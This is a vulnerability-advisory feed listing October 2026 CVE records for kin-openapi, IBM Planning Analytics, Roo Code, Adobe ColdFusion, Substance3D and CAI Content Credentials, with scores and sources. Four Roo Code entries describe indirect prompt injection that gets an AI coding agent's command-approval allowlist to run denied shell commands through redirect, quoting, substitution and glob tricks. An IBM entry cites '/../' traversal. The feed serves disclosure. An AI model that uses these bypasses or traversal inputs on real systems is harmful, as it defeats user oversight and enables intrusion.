kin-openapi is a Go project for handling OpenAPI files. Prior to 0.149.0, runtime request, response, and direct schema validation lacks cycle detection when an allOf, anyOf, or oneOf chain refers back to an ancestor schema, even though loading and document validation accept the circular reference. A request or response that reaches the affected schema causes unbounded recursion in Schema.visitJSON or openapi3filter.decodeValue and exhausts the Go goroutine stack. The resulting fatal stack overflow cannot be caught with recover and terminates the entire process, including unrelated requests. This issue is fixed in version 0.149.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to read arbitrary host files and overwrite certain application files due to improper validation of file paths.
https://kevwire.com/record/CVE-2026-19627
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to read arbitrary host files and overwrite certain application files due to improper validation of file paths. (Oct 12, 2026).
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to read arbitrary host files and overwrite certain application files due to improper validation of file paths.
CVSS 8.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-19627).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-19627&date=2026-10-25).
Sources:
NVD CVE-2026-19627: https://nvd.nist.gov/vuln/detail/CVE-2026-19627
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7291604
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-19627&date=2026-10-25
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to read arbitrary host files and overwrite certain application files due to improper validation of file paths.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to traverse directories on the system.
https://kevwire.com/record/CVE-2026-75061
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to traverse directories on the system. (Oct 12, 2026).
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to write arbitrary files on the system.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75061).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75061&date=2026-10-25).
Sources:
NVD CVE-2026-75061: https://nvd.nist.gov/vuln/detail/CVE-2026-75061
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7291604
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75061&date=2026-10-25
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to write arbitrary files on the system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Roo Code through 3.54.0 contains a command approval bypass vulnerability in getCommandDecision() that allows attackers to auto-approve denied shell commands by prefixing them with...
https://kevwire.com/record/CVE-2026-110202
Roo Code through 3.54.0 contains a command approval bypass vulnerability in getCommandDecision() that allows attackers to auto-approve denied shell commands by prefixing them with... (Oct 13, 2026).
Roo Code through 3.54.0 contains a command approval bypass vulnerability in getCommandDecision() that allows attackers to auto-approve denied shell commands by prefixing them with a bare >& redirect. Attackers using indirect prompt injection can make the allowlist match a redirect target like echo while the shell runs the denied command on the developer machine.
CVSS 7.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110202).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110202&date=2026-10-25).
Sources:
NVD CVE-2026-110202: https://nvd.nist.gov/vuln/detail/CVE-2026-110202
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110202&date=2026-10-25
Roo Code through 3.54.0 contains a command approval bypass vulnerability in getCommandDecision() that allows attackers to auto-approve denied shell commands by prefixing them with a bare >& redirect. Attackers using indirect prompt injection can make the allowlist match a redirect target like echo while the shell runs the denied command on the developer machine.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Roo Code through 3.54.0 contains a command approval bypass vulnerability that allows attackers to auto-approve denied shell commands by abusing quote-masking regex in...
https://kevwire.com/record/CVE-2026-110203
Roo Code through 3.54.0 contains a command approval bypass vulnerability that allows attackers to auto-approve denied shell commands by abusing quote-masking regex in... (Oct 13, 2026).
Roo Code through 3.54.0 contains a command approval bypass vulnerability that allows attackers to auto-approve denied shell commands by abusing quote-masking regex in parseCommandLine(). Attackers can use indirect prompt injection with escaped or single-quoted double quotes to hide command separators behind allowlisted prefixes like echo, executing commands without user approval.
CVSS 7.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110203).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110203&date=2026-10-25).
Sources:
NVD CVE-2026-110203: https://nvd.nist.gov/vuln/detail/CVE-2026-110203
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110203&date=2026-10-25
Roo Code through 3.54.0 contains a command approval bypass vulnerability that allows attackers to auto-approve denied shell commands by abusing quote-masking regex in parseCommandLine(). Attackers can use indirect prompt injection with escaped or single-quoted double quotes to hide command separators behind allowlisted prefixes like echo, executing commands without user approval.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Roo Code through 3.54.0 contains a command approval bypass vulnerability that allows attackers to run denied shell commands because parseCommandLine() treats ${ command; }...
https://kevwire.com/record/CVE-2026-110204
Roo Code through 3.54.0 contains a command approval bypass vulnerability that allows attackers to run denied shell commands because parseCommandLine() treats ${ command; }... (Oct 13, 2026).
Roo Code through 3.54.0 contains a command approval bypass vulnerability that allows attackers to run denied shell commands because parseCommandLine() treats ${ command; } substitutions as parameter expansions. Attackers using indirect prompt injection can embed denied commands inside an allowlisted command like echo to execute them without user approval on bash 5.3+ or ksh93.
CVSS 7.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110204).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110204&date=2026-10-25).
Sources:
NVD CVE-2026-110204: https://nvd.nist.gov/vuln/detail/CVE-2026-110204
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110204&date=2026-10-25
Roo Code through 3.54.0 contains a command approval bypass vulnerability that allows attackers to run denied shell commands because parseCommandLine() treats ${ command; } substitutions as parameter expansions. Attackers using indirect prompt injection can embed denied commands inside an allowlisted command like echo to execute them without user approval on bash 5.3+ or ksh93.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Roo Code through 3.54.0 contains a command approval bypass vulnerability in parseCommandLine() that discards command substitutions placed next to * or ?
https://kevwire.com/record/CVE-2026-110205
Roo Code through 3.54.0 contains a command approval bypass vulnerability in parseCommandLine() that discards command substitutions placed next to * or ? (Oct 13, 2026).
Roo Code through 3.54.0 contains a command approval bypass vulnerability in parseCommandLine() that discards command substitutions placed next to * or ? glob characters. Attackers using indirect prompt injection can craft commands like echo *$(...) that match allowlisted prefixes, executing denied commands without user approval when auto-approval is enabled.
CVSS 7.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110205).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110205&date=2026-10-25).
Sources:
NVD CVE-2026-110205: https://nvd.nist.gov/vuln/detail/CVE-2026-110205
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110205&date=2026-10-25
Roo Code through 3.54.0 contains a command approval bypass vulnerability in parseCommandLine() that discards command substitutions placed next to * or ? glob characters. Attackers using indirect prompt injection can craft commands like echo *$(...) that match allowlisted prefixes, executing denied commands without user approval when auto-approval is enabled.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Designer is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103821
Substance3D - Designer is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Substance3D - Designer is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103821).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103821&date=2026-10-25).
Sources:
NVD CVE-2026-103821: https://nvd.nist.gov/vuln/detail/CVE-2026-103821
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-designer/apsb26-169.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103821&date=2026-10-25
Substance3D - Designer is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-106620
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 9.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106620).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106620&date=2026-10-25).
Sources:
NVD CVE-2026-106620: https://nvd.nist.gov/vuln/detail/CVE-2026-106620
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106620&date=2026-10-25
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-100121
CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100121).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100121&date=2026-10-25).
Sources:
NVD CVE-2026-100121: https://nvd.nist.gov/vuln/detail/CVE-2026-100121
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100121&date=2026-10-25
CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-100135
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100135).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100135&date=2026-10-25).
Sources:
NVD CVE-2026-100135: https://nvd.nist.gov/vuln/detail/CVE-2026-100135
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100135&date=2026-10-25
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-95632
CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95632).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95632&date=2026-10-25).
Sources:
NVD CVE-2026-95632: https://nvd.nist.gov/vuln/detail/CVE-2026-95632
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95632&date=2026-10-25
CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation.
https://kevwire.com/record/CVE-2026-95634
CAI Content Credentials is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. (Oct 13, 2026).
CAI Content Credentials is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 8.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95634).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95634&date=2026-10-25).
Sources:
NVD CVE-2026-95634: https://nvd.nist.gov/vuln/detail/CVE-2026-95634
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95634&date=2026-10-25
CAI Content Credentials is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-100124
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100124).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100124&date=2026-10-25).
Sources:
NVD CVE-2026-100124: https://nvd.nist.gov/vuln/detail/CVE-2026-100124
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100124&date=2026-10-25
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation.
https://kevwire.com/record/CVE-2026-106622
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. (Oct 13, 2026).
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 10.0 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106622).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106622&date=2026-10-25).
Sources:
NVD CVE-2026-106622: https://nvd.nist.gov/vuln/detail/CVE-2026-106622
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106622&date=2026-10-25
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current...
https://kevwire.com/record/CVE-2026-106621
ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current... (Oct 13, 2026).
ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.
CVSS 9.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106621).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106621&date=2026-10-25).
Sources:
NVD CVE-2026-106621: https://nvd.nist.gov/vuln/detail/CVE-2026-106621
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106621&date=2026-10-25
ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-106619
ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 9.0 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106619).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106619&date=2026-10-25).
Sources:
NVD CVE-2026-106619: https://nvd.nist.gov/vuln/detail/CVE-2026-106619
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106619&date=2026-10-25
ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-106618
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106618).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106618&date=2026-10-25).
Sources:
NVD CVE-2026-106618: https://nvd.nist.gov/vuln/detail/CVE-2026-106618
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106618&date=2026-10-25
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Integer Overflow or Wraparound vulnerability that could result in an application denial-of-service.
https://kevwire.com/record/CVE-2026-100136
CAI Content Credentials is affected by an Integer Overflow or Wraparound vulnerability that could result in an application denial-of-service. (Oct 13, 2026).
CAI Content Credentials is affected by an Integer Overflow or Wraparound vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100136).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100136&date=2026-10-25).
Sources:
NVD CVE-2026-100136: https://nvd.nist.gov/vuln/detail/CVE-2026-100136
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100136&date=2026-10-25
CAI Content Credentials is affected by an Integer Overflow or Wraparound vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-100120
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100120).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100120&date=2026-10-25).
Sources:
NVD CVE-2026-100120: https://nvd.nist.gov/vuln/detail/CVE-2026-100120
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100120&date=2026-10-25
